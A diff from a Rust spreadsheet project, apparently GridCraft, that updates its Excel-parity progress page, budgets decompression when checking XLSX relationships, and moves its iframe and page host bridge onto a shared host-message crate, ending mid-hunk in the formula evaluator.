> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (form controls: buttons, sliders and spin buttons; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis take ranges by selection on the grid; earlier: Python mode in the formula bar; earlier: Python cells stored and kept in files; earlier: equations: Insert › Equation, editor, gridcraft-math; earlier: What-if and analysis: Solver Sensitivity report for Simplex LP and GRG Nonlinear; earlier: floating objects: one selection, eight resize handles, keyboard delete; earlier: Chart data tables: live source values beneath column, bar, line, area and compatible combo charts; legend keys and borders; XLSX round-trip and print/PDF; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and Insert Function categories; XLSX workbook-view selection, bounded tab ratios and sheet-edit regressions; readiness estimates unchanged; earlier: CSV and text open detects each column's date order, so day-first dates are not silently swapped) · **Target:** Microsoft Excel (Microsoft 365)
|
||||
|
||||
GridCraft aims at full Microsoft Excel parity, and at being better in places: faster, open (XLSX
|
||||
is the native format), fully scriptable by agents (MCP, control channel, CLI), and on the web.
|
||||
@@ -22,7 +22,7 @@ This page is the summary. The detail is in:
|
||||
| Number | Value | Kind |
|
||||
|---|---|---|
|
||||
| 2026-10-14 | Editing a cell with text that would read back as a number, boolean, date or formula (entered with a leading apostrophe) shows the apostrophe in the editor and formula bar, so Enter unchanged keeps it text (#1362) |
|
||||
| **Feature breadth** (weighted) | **~75%** | estimated, anchored on two measurements: ribbon catalog 277 / 292 (94.9%), worksheet functions 513 / 523 (98.1%; 504 working, 96.4%) |
|
||||
| **Feature breadth** (weighted) | **~75%** | estimated, anchored on two measurements: ribbon catalog 281 / 296 (94.9%), worksheet functions 513 / 523 (98.1%; 504 working, 96.4%) |
|
||||
| **Ready for real work** | **~50%** | estimated from written weights (51.6); [target-app-parity.md](docs/target-app-parity.md) |
|
||||
| **Mainstream practitioner** | **~50%** | estimated: typical analyst/finance user, weekly features, × 0.90 interaction × 0.92 stability × 0.88 file exchange; [method](docs/target-app-parity.md#mainstream-practitioner) |
|
||||
| **Essentials user** | **~63%** | estimated: core features only, × 0.92 launch/stability × 0.95 clarity × 0.90 opening sent files; [method](docs/target-app-parity.md#essentials-user) |
|
||||
@@ -135,6 +135,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in
|
||||
|
||||
| Date | What landed |
|
||||
|---|---|
|
||||
| 2026-11-02 | Form controls: Insert › Controls places buttons, sliders (scroll bars) and spin buttons on the sheet. A slider or spin button holds a whole number from 0 to 30000 in a linked cell (a drag or a held arrow is one undo step, and editing the cell moves the control); a button runs a macro or one command through the macro policy, asking first in a workbook opened from a file; Assign Action and Format Control edit them, and XLSX files read and write them (control properties, `<controls>` and VML), alongside the form controls GridCraft keeps unchanged |
|
||||
| 2026-11-02 | Dialogs take ranges by selection on the grid: reference boxes (RefEdit) with a collapse button that shrinks the dialog while the person selects, in Goal Seek, Solver (including the Model Range of Load/Save) and Data Analysis; while collapsed, the arrow keys move the selection and Shift+arrow extends it, and F4 cycles a reference's anchors |
|
||||
| 2026-11-02 | Python mode in the formula bar: Ctrl+Alt+Shift+P, `=PY` then Tab, or editing a Python cell edits its code in the formula bar, with Enter for a new line, Tab to indent and Ctrl+Enter to commit through `python.set`. The code still doesn't run |
|
||||
| 2026-11-02 | Python cells as data: `python.set` stores code in a cell, Python cells copy, move, fill and undo like formulas, and `.xlsx` reads and writes Python cells as [MS-XLSX] specifies (`_xlfn._xlws.PY(index,0 or 1)`, the code in the workbook's Python part) with cached values and spills, so such workbooks open with their results; nothing runs Python (new code shows `#BLOCKED!`), and opening a file limits code size, result size and spill ranges |
|
||||
@@ -176,6 +177,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in
|
||||
| 2026-10-15 | File › Options › Formulas: Maximum Iterations and Maximum Change fields for iterative calculation, disabled while it is off, with Excel's limits (1 to 32767, 0 or more) |
|
||||
| 2026-10-15 | Function help follows the interface language: argument hints, autocomplete, Insert Function (search and readable categories) and the Formulas-tab menus read per-language tables of descriptions and argument names; Spanish keeps its 10 functions in the new format |
|
||||
| 2026-10-15 | Row auto-fit counts a cell's line breaks only when the cell wraps, as Excel does: a file whose unwrapped cells hold multi-line text no longer opens with tall rows (typing a break still turns wrap on and grows the row) |
|
||||
| 2026-10-14 | Set precision as displayed is applied: with the option on, formula results, spills and numbers typed or reformatted are stored as their number format shows them and formulas calculate from those values; `formulas.calculationOptions` gains `precisionAsDisplayed` (turning it on rounds existing constants; locked constants on a protected sheet keep their value; numbers written to a new sheet are rounded too) (#1343) |
|
||||
| 2026-10-14 | Lookups (MATCH, XMATCH, VLOOKUP, HLOOKUP, XLOOKUP, LOOKUP) compare numbers exactly like Excel, so a computed key such as `=0.1+0.2` no longer finds 0.3; `=` and COUNTIF/SUMIF keep their 15-digit comparison |
|
||||
| 2026-10-14 | Functions: EOMONTH, EDATE, WORKDAY, NETWORKDAYS, YEARFRAC, WEEKNUM, the bond and coupon functions, DISC, BIN2DEC, IM* and the other Analysis ToolPak functions give `#VALUE!` for a reference to more than one cell in a value argument, as Excel 365 does, instead of spilling; array constants and computed arrays still lift |
|
||||
| 2026-10-14 | Protect Sheet on a protected sheet: Home › Format, its keytips (HOP, RPS) and the tab menu now read Unprotect Sheet… and unprotect (straight away without a password); a protected sheet that forbids selecting locked (or unlocked) cells is enforced for clicks, arrows and Go To, and the Protect Sheet dialog has the select options (#1346) |
|
||||
@@ -257,6 +259,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in
|
||||
|
||||
| Date | Change | Summary |
|
||||
|---|---|---|
|
||||
| 2026-11-02 | minor | Form controls; catalog 277 / 292 → 281 / 296 (Developer › Controls); progress log row |
|
||||
| 2026-11-02 | minor | Progress log: RefEdit reference boxes in dialogs |
|
||||
| 2026-11-02 | minor | Progress log: Python mode in the formula bar |
|
||||
| 2026-11-02 | minor | Progress log: Python cells as data |
|
||||
@@ -286,6 +289,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in
|
||||
| 2026-10-16 | minor | Progress log: floating pictures' textures bounded and kept per workbook |
|
||||
| 2026-10-16 | trivial | Progress log: web preferences kept between visits (#1562) |
|
||||
| 2026-10-16 | minor | Progress log: interface fonts held once instead of twice |
|
||||
| 2026-10-14 | minor | Progress log: Set precision as displayed applied in calculation (#1343) |
|
||||
| 2026-10-14 | minor | Progress log: `.xls` import reads cell formatting |
|
||||
| 2026-10-14 | minor | Progress log: lookups compare numbers exactly |
|
||||
| 2026-10-14 | minor | Progress log: Analysis ToolPak value arguments reject multi-cell references |
|
||||
|
||||
@@ -6,6 +6,10 @@ const MAX_XML_PART: u64 = 64 * 1024 * 1024;
|
||||
/// Most zip entries looked at while validating a written package.
|
||||
const MAX_ENTRIES: usize = 200_000;
|
||||
|
||||
/// Decompressed bytes that comparing one package's relationship kinds may read in total: the
|
||||
/// relationship parts themselves and the targets whose content is checked.
|
||||
const RELATIONSHIP_BUDGET: u64 = 512 * 1024 * 1024;
|
||||
|
||||
/// Relationship kinds (lower case) whose absence after a save isn't a loss: the calculation chain is
|
||||
/// a cache Excel rebuilds, and GridCraft never writes it.
|
||||
pub(super) const REBUILT_KINDS: [&str; 1] = ["calcchain"];
|
||||
@@ -117,6 +121,30 @@ fn read_zip_part(zip: &mut Zip<'_>, name: &str) -> Result<Vec<u8>, String> {
|
||||
Ok(buf)
|
||||
}
|
||||
|
||||
enum PartError {
|
||||
/// Reading the part would spend more than the remaining budget.
|
||||
OverBudget,
|
||||
Unreadable,
|
||||
}
|
||||
|
||||
/// Reads a part like [`read_zip_part`], charging the decompressed bytes to `budget`.
|
||||
fn read_zip_part_within(zip: &mut Zip<'_>, name: &str, budget: &mut u64) -> Result<Vec<u8>, PartError> {
|
||||
let f = zip.by_name(name).map_err(|_| PartError::Unreadable)?;
|
||||
// One byte past what is left shows that the part doesn't fit.
|
||||
let limit = MAX_XML_PART.min(budget.saturating_add(1));
|
||||
let mut buf = Vec::new();
|
||||
// Bytes read before a decompression error still count against the budget.
|
||||
let res = f.take(limit).read_to_end(&mut buf);
|
||||
let read = buf.len() as u64;
|
||||
if read > *budget {
|
||||
*budget = 0;
|
||||
return Err(PartError::OverBudget);
|
||||
}
|
||||
*budget -= read;
|
||||
res.map_err(|_| PartError::Unreadable)?;
|
||||
Ok(buf)
|
||||
}
|
||||
|
||||
/// Whether the producer flagged its cached results as stale with `<calcPr fullCalcOnLoad="1">`:
|
||||
/// libraries that don't calculate write it, and store 0 or nothing as every formula's value.
|
||||
pub(super) fn full_calc_on_load(bytes: &[u8]) -> bool {
|
||||
@@ -232,19 +260,30 @@ pub fn validate_package(bytes: &[u8]) -> Result<Vec<String>, String> {
|
||||
/// nothing are left out, as a save may rightly drop them: a link to a place in the workbook
|
||||
/// (`#Sheet1!A1`, written as a cell's `location`) and a target part with nothing in it.
|
||||
pub(super) fn relationship_kinds(bytes: &[u8]) -> Result<BTreeMap<String, String>, String> {
|
||||
relationship_kinds_within(bytes, RELATIONSHIP_BUDGET)
|
||||
}
|
||||
|
||||
/// [`relationship_kinds`] reading at most `budget` decompressed bytes. `Err` once the relationship
|
||||
/// parts alone need more: their kinds can't be listed completely.
|
||||
fn relationship_kinds_within(bytes: &[u8], mut budget: u64) -> Result<BTreeMap<String, String>, String> {
|
||||
let mut zip = zip::ZipArchive::new(Cursor::new(bytes)).map_err(|e| format!("not a zip package: {e}"))?;
|
||||
let names = zip_names(&mut zip);
|
||||
let by_key: HashMap<String, &String> = names.iter().map(|n| (part_key(n), n)).collect();
|
||||
// Several relationships name the same part; each fresh check decompressed it again, so
|
||||
// repeated references to one highly compressible part multiplied the work. The verdict is
|
||||
// remembered per (part, named content) and the decompression the package can cause is
|
||||
// budgeted as a whole (finding: repeated decompression).
|
||||
// budgeted as a whole, the relationship parts included: many large, unreferenced rels parts
|
||||
// would otherwise each spend a full per-part allowance.
|
||||
let mut verdicts: HashMap<(String, &'static str), bool> = HashMap::new();
|
||||
let mut budget: u64 = 512 * 1024 * 1024;
|
||||
let mut kinds = BTreeMap::new();
|
||||
for n in names.iter().filter(|n| part_key(n).ends_with(".rels")) {
|
||||
let Some(src_dir) = rels_source_dir(&part_key(n)) else { continue };
|
||||
let Ok(els) = read_zip_part(&mut zip, n).and_then(|xml| xml_elements(&xml)) else { continue };
|
||||
let xml = match read_zip_part_within(&mut zip, n, &mut budget) {
|
||||
Ok(xml) => xml,
|
||||
Err(PartError::OverBudget) => return Err(format!("{n}: relationship check stopped at its decompression limit")),
|
||||
Err(PartError::Unreadable) => continue,
|
||||
};
|
||||
let Ok(els) = xml_elements(&xml) else { continue };
|
||||
for (_, attrs) in els.iter().filter(|(el, _)| el == "Relationship") {
|
||||
let Some(kind) = attr(attrs, "Type").and_then(|t| t.rsplit('/').next()) else { continue };
|
||||
let target = attr(attrs, "Target").unwrap_or("");
|
||||
@@ -329,3 +368,36 @@ fn holds_something_uncached(zip: &mut Zip<'_>, name: &str, marker: &'static str,
|
||||
buf.clear();
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use std::io::Write as _;
|
||||
|
||||
use super::*;
|
||||
|
||||
/// A package with `count` relationship parts of `size` bytes each, none of them describing an
|
||||
/// existing part.
|
||||
fn many_rels(count: usize, size: usize) -> Vec<u8> {
|
||||
let mut z = zip::ZipWriter::new(Cursor::new(Vec::new()));
|
||||
let opts = zip::write::SimpleFileOptions::default().compression_method(zip::CompressionMethod::Deflated);
|
||||
let head = r#"<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/custom" Target="https://example.com" TargetMode="External"/>"#;
|
||||
let tail = "</Relationships>";
|
||||
let filler = " ".repeat(size.saturating_sub(head.len() + tail.len()));
|
||||
for i in 0..count {
|
||||
z.start_file(format!("xl/_rels/part{i}.xml.rels"), opts).unwrap();
|
||||
z.write_all(head.as_bytes()).unwrap();
|
||||
z.write_all(filler.as_bytes()).unwrap();
|
||||
z.write_all(tail.as_bytes()).unwrap();
|
||||
}
|
||||
z.finish().unwrap().into_inner()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn relationship_parts_count_against_the_decompression_budget() {
|
||||
// Each part fits the per-part allowance, but together they need more than the budget.
|
||||
let bytes = many_rels(8, 64 * 1024);
|
||||
assert!(relationship_kinds_within(&bytes, 256 * 1024).is_err());
|
||||
let kinds = relationship_kinds_within(&bytes, 1024 * 1024).unwrap();
|
||||
assert_eq!(kinds.get("custom").map(String::as_str), Some("custom"));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -16,6 +16,8 @@ path = "src/main.rs"
|
||||
[dependencies]
|
||||
gridcraft-engine = { workspace = true }
|
||||
gridcraft-ui-egui = { workspace = true }
|
||||
# The host messages (storytold/craft-libs): one contract and one bridge for the web builds.
|
||||
craft-web-host = { git = "https://github.com/storytold/craft-libs", rev = "2e2312ddaf21bc3d85cd3395d0955c7d239306f6", version = "0.1.0" }
|
||||
egui = { workspace = true }
|
||||
log = { workspace = true }
|
||||
serde_json = { workspace = true }
|
||||
@@ -26,4 +28,4 @@ rfd = { workspace = true }
|
||||
wasm-bindgen = "0.2"
|
||||
wasm-bindgen-futures = "0.4"
|
||||
js-sys = "0.3"
|
||||
web-sys = { version = "0.3", features = ["Window", "Document", "Element", "HtmlElement", "HtmlCanvasElement", "HtmlAnchorElement", "HtmlIFrameElement", "Blob", "BlobPropertyBag", "Url", "Location", "CssStyleDeclaration", "Clipboard", "ClipboardItem", "Navigator", "MessageEvent", "UrlSearchParams", "AddEventListenerOptions", "Storage"] }
|
||||
web-sys = { version = "0.3", features = ["Window", "Document", "Element", "Event", "EventTarget", "HtmlElement", "HtmlCanvasElement", "HtmlAnchorElement", "HtmlIFrameElement", "Blob", "BlobPropertyBag", "Url", "Location", "CssStyleDeclaration", "Clipboard", "ClipboardItem", "Navigator", "MessageEvent", "UrlSearchParams", "AddEventListenerOptions", "Storage", "CustomEvent", "CustomEventInit"] }
|
||||
|
||||
@@ -1,57 +1,64 @@
|
||||
//! The `postMessage` bridge to a same-origin parent page (`?host=parent`), for pages that embed
|
||||
//! GridCraft in an `<iframe>` (such as a Nextcloud app). Messages are plain objects with a `type`:
|
||||
//! Host modes: a page that runs GridCraft (as an iframe, or in its own document) opens workbooks
|
||||
//! in it and stores what it saves instead of the browser downloading. The messages and the two
|
||||
//! transports are `craft-web-host`'s (storytold/craft-libs), the same contract as the other Craft
|
||||
//! apps' bridges, with the `gridcraft:` prefix. This module is GridCraft's part of it.
|
||||
//!
|
||||
//! - `gridcraft:ready` (to the parent): `{ version }`, the app is listening; send a file now.
|
||||
//! - `gridcraft:open` (from the parent): `{ name, bytes }`, bytes an `ArrayBuffer` or
|
||||
//! `Uint8Array`. It opens like a workbook picked with File › Open or dropped on the window.
|
||||
//! - `gridcraft:save` (to the parent): `{ name, bytes }` (a transferred `ArrayBuffer`) for every
|
||||
//! file GridCraft would otherwise download: Save and Save As (an .xlsx workbook) and Export
|
||||
//! as PDF. The parent stores it and reports failures itself.
|
||||
//! - `gridcraft:dirty` (to the parent): `{ dirty }` whenever unsaved changes appear or go away.
|
||||
//! - `gridcraft:failed` (to the parent): `{ error }` when the app couldn't start.
|
||||
//! - `?host=parent` (an `<iframe>`, such as a Nextcloud app) talks to the same-origin parent over
|
||||
//! `postMessage`; `data-host="page"` on the canvas (the page's own document, no iframe) uses
|
||||
//! DOM `CustomEvent`s on the canvas instead. `?host=parent` wins when both are present. With no
|
||||
//! parent, or a parent on another origin, there is no bridge: the normal app with downloads.
|
||||
//! - `gridcraft:ready` once the app is listening; send a file now. GridCraft reads bytes, so it
|
||||
//! says `file: false` and a host sends `bytes`.
|
||||
//! - `gridcraft:open` (from the host): `{ name, bytes }`. It opens like a workbook picked with
|
||||
//! File › Open or dropped on the window; a file over [`MAX_OPEN_BYTES`] is refused before it is
|
||||
//! copied.
|
||||
//! - `gridcraft:save` (to the host): `{ name, saveAs, bytes }` for every file GridCraft would
|
||||
//! otherwise download: Save and Save As (an .xlsx workbook) and Export as PDF. The host stores
|
||||
//! it and reports failures itself. GridCraft doesn't tell the host which saves make a file the
|
||||
//! document, so `saveAs` is always `false`.
|
||||
//! - `gridcraft:dirty` whenever unsaved changes appear or go away, `gridcraft:failed` when the
|
||||
//! app couldn't start.
|
||||
//!
|
||||
//! Only the parent window on the page's own origin is heard or answered. In host mode the page
|
||||
//! starts with an empty workbook instead of a sample, and the parent guards leaving the page.
|
||||
//! In both host modes the page starts with an empty workbook instead of a sample, saves and PDF
|
||||
//! exports are handed to the page rather than downloaded, and `?author=` names the user for new
|
||||
//! notes and comments.
|
||||
|
||||
use std::cell::{Cell, RefCell};
|
||||
use std::cell::RefCell;
|
||||
use std::rc::Rc;
|
||||
|
||||
use craft_web_host::web::{FileData, Host, Message};
|
||||
use gridcraft_ui_egui::{Inbox, Services, SheetApp};
|
||||
use wasm_bindgen::JsCast as _;
|
||||
use wasm_bindgen::JsValue;
|
||||
use wasm_bindgen::closure::Closure;
|
||||
|
||||
/// Saving one of these hands the whole workbook to the parent, which stores it: the workbook
|
||||
/// counts as saved under that name, as it would after Save on the desktop.
|
||||
use crate::hostmode::open_name;
|
||||
|
||||
/// The app id in the host messages (`gridcraft:ready`).
|
||||
const APP: &str = "gridcraft";
|
||||
|
||||
/// Saved files that count as a workbook: the document is then clean under the name it was saved as.
|
||||
const WORKBOOK_EXTS: &[&str] = &["xlsx"];
|
||||
|
||||
/// The largest workbook taken from the host page, refused before it is copied.
|
||||
const MAX_OPEN_BYTES: u64 = 512 << 20;
|
||||
|
||||
/// The longest user name taken from `?author=`.
|
||||
const MAX_AUTHOR_CHARS: usize = 200;
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct Bridge {
|
||||
window: web_sys::Window,
|
||||
parent: web_sys::Window,
|
||||
origin: String,
|
||||
/// Names of the files handed to the parent since the last frame.
|
||||
host: Rc<Host>,
|
||||
/// Names of the files handed to the host since the last frame.
|
||||
saved: Rc<RefCell<Vec<String>>>,
|
||||
/// The unsaved-changes state last reported to the parent.
|
||||
reported: Rc<Cell<Option<bool>>>,
|
||||
}
|
||||
|
||||
impl Bridge {
|
||||
/// `None` when the page isn't framed (there is no parent to talk to).
|
||||
pub fn new() -> Option<Self> {
|
||||
let window = web_sys::window()?;
|
||||
let parent = window.parent().ok().flatten()?;
|
||||
if js_sys::Object::is(&parent, &window) {
|
||||
return None;
|
||||
}
|
||||
let origin = window.location().origin().ok()?;
|
||||
Some(Self { window, parent, origin, saved: Rc::default(), reported: Rc::default() })
|
||||
/// The bridge for this page, or `None` when GridCraft isn't hosted: no `?host=parent` and no
|
||||
/// `data-host="page"` on the canvas, an unframed `?host=parent` page (it stays the normal app
|
||||
/// with downloads), or a parent on another origin.
|
||||
pub fn detect(canvas: &web_sys::HtmlCanvasElement) -> Option<Self> {
|
||||
Some(Self { host: Rc::new(Host::connect(APP, canvas)?), saved: Rc::default() })
|
||||
}
|
||||
|
||||
/// Send saved and exported files to the parent instead of downloading them, and hear files
|
||||
/// Send saved and exported files to the host instead of downloading them, and hear files
|
||||
/// from it.
|
||||
pub fn connect(&self, services: &mut Services, inbox: Inbox, ctx: egui::Context) {
|
||||
self.listen(inbox, ctx);
|
||||
@@ -72,15 +79,16 @@ impl Bridge {
|
||||
}
|
||||
|
||||
pub fn post_ready(&self) {
|
||||
self.send(&[("type", "gridcraft:ready".into()), ("version", env!("CARGO_PKG_VERSION").into())]);
|
||||
let _ = self.host.post_ready(env!("CARGO_PKG_VERSION"), false);
|
||||
}
|
||||
|
||||
pub fn post_failed(&self, error: &str) {
|
||||
self.send(&[("type", "gridcraft:failed".into()), ("error", error.into())]);
|
||||
let _ = self.host.post_failed(error, None);
|
||||
}
|
||||
|
||||
/// After each frame: a workbook handed to the parent this frame counts as saved under the
|
||||
/// name it was saved as, and the parent hears when unsaved changes appear or go away.
|
||||
/// After each frame: a workbook handed to the host this frame counts as saved under the
|
||||
/// name it was saved as, and the host hears when unsaved changes appear or go away (the
|
||||
/// crate does not repeat a state it already reported).
|
||||
pub fn sync(&self, app: &mut SheetApp) {
|
||||
let saved = std::mem::take(&mut *self.saved.borrow_mut());
|
||||
if let Some(name) = saved.iter().rev().find(|name| is_workbook(name))
|
||||
@@ -91,76 +99,45 @@ impl Bridge {
|
||||
doc.title = name.clone();
|
||||
}
|
||||
}
|
||||
let dirty = app.session.documents().iter().any(|d| d.is_dirty());
|
||||
if self.reported.get() != Some(dirty) && self.send(&[("type", "gridcraft:dirty".into()), ("dirty", dirty.into())]) {
|
||||
self.reported.set(Some(dirty));
|
||||
}
|
||||
self.host.post_dirty(app.session.documents().iter().any(|d| d.is_dirty()));
|
||||
}
|
||||
|
||||
fn post_save(&self, path: &str, bytes: &[u8]) -> Result<(), String> {
|
||||
let name = std::path::Path::new(path).file_name().map(|n| n.to_string_lossy().to_string()).unwrap_or_else(|| path.to_string());
|
||||
let buffer = js_sys::Uint8Array::from(bytes).buffer();
|
||||
let message = message(&[("type", "gridcraft:save".into()), ("name", name.as_str().into()), ("bytes", buffer.clone().into())])
|
||||
.ok_or_else(|| "couldn't build the message".to_string())?;
|
||||
self.parent
|
||||
.post_message_with_transfer(&message, &self.origin, &js_sys::Array::of1(&buffer))
|
||||
.map_err(|e| e.as_string().unwrap_or_else(|| format!("{e:?}")))?;
|
||||
let name = file_name(path);
|
||||
self.host.post_save(&name, bytes, None, false)?;
|
||||
self.saved.borrow_mut().push(name);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn listen(&self, inbox: Inbox, ctx: egui::Context) {
|
||||
let parent = self.parent.clone();
|
||||
let origin = self.origin.clone();
|
||||
let on_message = Closure::<dyn FnMut(web_sys::MessageEvent)>::new(move |event: web_sys::MessageEvent| {
|
||||
if event.origin() != origin || !event.source().is_some_and(|s| js_sys::Object::is(&s, &parent)) {
|
||||
return;
|
||||
self.host.listen(move |message| {
|
||||
if let Message::Open { name, data } = message {
|
||||
deliver_open(&inbox, &ctx, &name, &data);
|
||||
}
|
||||
let data = event.data();
|
||||
if string(&data, "type").as_deref() != Some("gridcraft:open") {
|
||||
return;
|
||||
}
|
||||
let name = string(&data, "name").filter(|n| !n.trim().is_empty()).unwrap_or_else(|| "Book.xlsx".to_string());
|
||||
let Some(bytes) = bytes(&data) else { return };
|
||||
inbox.lock().unwrap_or_else(|e| e.into_inner()).push((name, bytes));
|
||||
ctx.request_repaint();
|
||||
});
|
||||
if self.window.add_event_listener_with_callback("message", on_message.as_ref().unchecked_ref()).is_ok() {
|
||||
// The listener lives as long as the page.
|
||||
on_message.forget();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Post a message to the parent; false if it couldn't be sent.
|
||||
fn send(&self, fields: &[(&str, JsValue)]) -> bool {
|
||||
message(fields).is_some_and(|m| self.parent.post_message(&m, &self.origin).is_ok())
|
||||
/// The file an open message carries, pushed onto the inbox for the next frame, like a dropped
|
||||
/// file. A host's file is untrusted input: an oversized one is refused before it is copied into
|
||||
/// the app's memory (the data's own length, not the host's claim).
|
||||
fn deliver_open(inbox: &Inbox, ctx: &egui::Context, name: &str, data: &FileData) {
|
||||
let FileData::Bytes(array) = data else {
|
||||
log::warn!("host file {name} came as a File; GridCraft reads bytes only; not opened");
|
||||
return;
|
||||
};
|
||||
if data.size() > MAX_OPEN_BYTES as f64 {
|
||||
log::warn!("host file is {} bytes, over the {} MiB host open limit; not opened", data.size(), MAX_OPEN_BYTES >> 20);
|
||||
return;
|
||||
}
|
||||
inbox.lock().unwrap_or_else(|e| e.into_inner()).push((open_name(name), array.to_vec()));
|
||||
ctx.request_repaint();
|
||||
}
|
||||
|
||||
fn is_workbook(name: &str) -> bool {
|
||||
name.rsplit_once('.').is_some_and(|(_, ext)| WORKBOOK_EXTS.iter().any(|e| ext.eq_ignore_ascii_case(e)))
|
||||
}
|
||||
|
||||
fn message(fields: &[(&str, JsValue)]) -> Option<js_sys::Object> {
|
||||
let m = js_sys::Object::new();
|
||||
for (key, value) in fields {
|
||||
js_sys::Reflect::set(&m, &JsValue::from_str(key), value).ok()?;
|
||||
}
|
||||
Some(m)
|
||||
}
|
||||
|
||||
fn string(data: &JsValue, key: &str) -> Option<String> {
|
||||
js_sys::Reflect::get(data, &JsValue::from_str(key)).ok()?.as_string()
|
||||
}
|
||||
|
||||
/// `bytes` as an `ArrayBuffer` or `Uint8Array`.
|
||||
fn bytes(data: &JsValue) -> Option<Vec<u8>> {
|
||||
let bytes = js_sys::Reflect::get(data, &JsValue::from_str("bytes")).ok()?;
|
||||
if let Some(array) = bytes.dyn_ref::<js_sys::Uint8Array>() {
|
||||
Some(array.to_vec())
|
||||
} else if bytes.is_instance_of::<js_sys::ArrayBuffer>() {
|
||||
Some(js_sys::Uint8Array::new(&bytes).to_vec())
|
||||
} else {
|
||||
None
|
||||
}
|
||||
fn file_name(path: &str) -> String {
|
||||
std::path::Path::new(path).file_name().map(|n| n.to_string_lossy().to_string()).unwrap_or_else(|| path.to_string())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
//! Pure host-mode rules, shared by the bridge ([`crate::host`]) and testable without a browser
|
||||
//! (like [`crate::prefs`]): the name the bridge fills in when a host's open request has none.
|
||||
//! Which pages host the app is `craft-web-host`'s.
|
||||
|
||||
/// The file name used when an open request carries no usable one.
|
||||
pub const DEFAULT_OPEN_NAME: &str = "Book.xlsx";
|
||||
|
||||
/// The name `craft-web-host` gives an open request that carries no usable one (it cleans a host's
|
||||
/// name and falls back to this).
|
||||
const NAMELESS: &str = "document";
|
||||
|
||||
/// A usable file name for an open request: the cleaned name the crate hands over, or
|
||||
/// [`DEFAULT_OPEN_NAME`] when the host sent none.
|
||||
pub fn open_name(name: &str) -> String {
|
||||
if name == NAMELESS { DEFAULT_OPEN_NAME.to_string() } else { name.to_string() }
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn open_names_fall_back_to_the_default_when_the_host_sent_none() {
|
||||
assert_eq!(open_name("Budget.xlsx"), "Budget.xlsx");
|
||||
assert_eq!(open_name("Sheet2!Book.xlsx"), "Sheet2!Book.xlsx");
|
||||
assert_eq!(open_name("document"), DEFAULT_OPEN_NAME, "what the crate says for a missing or blank name");
|
||||
}
|
||||
}
|
||||
@@ -10,15 +10,19 @@
|
||||
//!
|
||||
//! URL query flags: `?webgl` forces WebGL2; `?sample=sales|budget|grades` opens a sample;
|
||||
//! `?host=parent` (inside an `<iframe>`) talks to a same-origin parent page instead: it sends the
|
||||
//! workbook to open and stores what GridCraft saves (`host`), and `&author=` names the user for
|
||||
//! notes and comments. `?chrome=none|notitlebar|nofiletab` leaves the title bar and/or the File tab
|
||||
//! undrawn for a host that embeds the sheet in its own window (see `Chrome`). Preferences (theme,
|
||||
//! interface size, editing options…) are kept in `localStorage` (`prefs`).
|
||||
//! workbook to open and stores what GridCraft saves (`host`). A page can host GridCraft in its
|
||||
//! own document (no iframe) with `data-host="page"` on the canvas, talking over DOM `CustomEvent`s
|
||||
//! on the canvas. `&author=` names the user for notes and comments in either host mode.
|
||||
//! `?chrome=none|notitlebar|nofiletab` leaves the title bar and/or the File tab undrawn for a host
|
||||
//! that embeds the sheet in its own window (see `Chrome`). Preferences (theme, interface size,
|
||||
//! editing options…) are kept in `localStorage` (`prefs`).
|
||||
#![deny(clippy::unwrap_used, clippy::expect_used, clippy::panic, clippy::unimplemented, clippy::todo, clippy::unreachable)]
|
||||
|
||||
#[cfg(target_arch = "wasm32")]
|
||||
mod host;
|
||||
#[cfg(any(target_arch = "wasm32", test))]
|
||||
mod hostmode;
|
||||
#[cfg(any(target_arch = "wasm32", test))]
|
||||
mod prefs;
|
||||
#[cfg(target_arch = "wasm32")]
|
||||
mod web;
|
||||
|
||||
@@ -37,9 +37,12 @@ pub fn start() {
|
||||
{
|
||||
create.instance_descriptor.backends = eframe::wgpu::Backends::GL;
|
||||
}
|
||||
// `?host=parent`: a same-origin page framing GridCraft (such as a Nextcloud app) opens
|
||||
// workbooks in it and stores what it saves (`host`).
|
||||
let bridge = if query_param("host").as_deref() == Some("parent") { crate::host::Bridge::new() } else { None };
|
||||
// Host modes (`craft-web-host`): `?host=parent`, a same-origin page framing GridCraft (such
|
||||
// as a Nextcloud app), opens workbooks in it and stores what it saves (`host`). Unframed
|
||||
// there is no parent, so that URL on its own stays the normal app with downloads.
|
||||
// `data-host="page"` on the canvas opts a page in instead: it runs GridCraft in its own
|
||||
// document and talks over DOM `CustomEvent`s on the canvas.
|
||||
let bridge = crate::host::Bridge::detect(&canvas);
|
||||
let app_bridge = bridge.clone();
|
||||
let result = eframe::WebRunner::new()
|
||||
.start(
|
||||
@@ -48,7 +51,7 @@ pub fn start() {
|
||||
Box::new(move |cc| {
|
||||
let inbox: Inbox = Inbox::default();
|
||||
let mut session = Session::new();
|
||||
// In host mode the parent sends the workbook to edit; no sample meanwhile.
|
||||
// In host mode the host sends the workbook to edit; no sample meanwhile.
|
||||
let q = if app_bridge.is_some() { String::new() } else { query() };
|
||||
if let Some(name) = q.split(['?', '&']).find_map(|kv| kv.strip_prefix("sample=")) {
|
||||
let _ = session.execute("file.new", serde_json::json!({"sample": name}));
|
||||
|
||||
@@ -325,6 +325,11 @@ impl<'h> Evaluator<'h> {
|
||||
Expr::Array(rows) => {
|
||||
let h = rows.len();
|
||||
let w = rows.first().map_or(0, Vec::len);
|
||||
// A ragged literal is an error either way; one wide row and many empty ones must
|
||||
// not reserve their rows-times-width product first.
|
||||
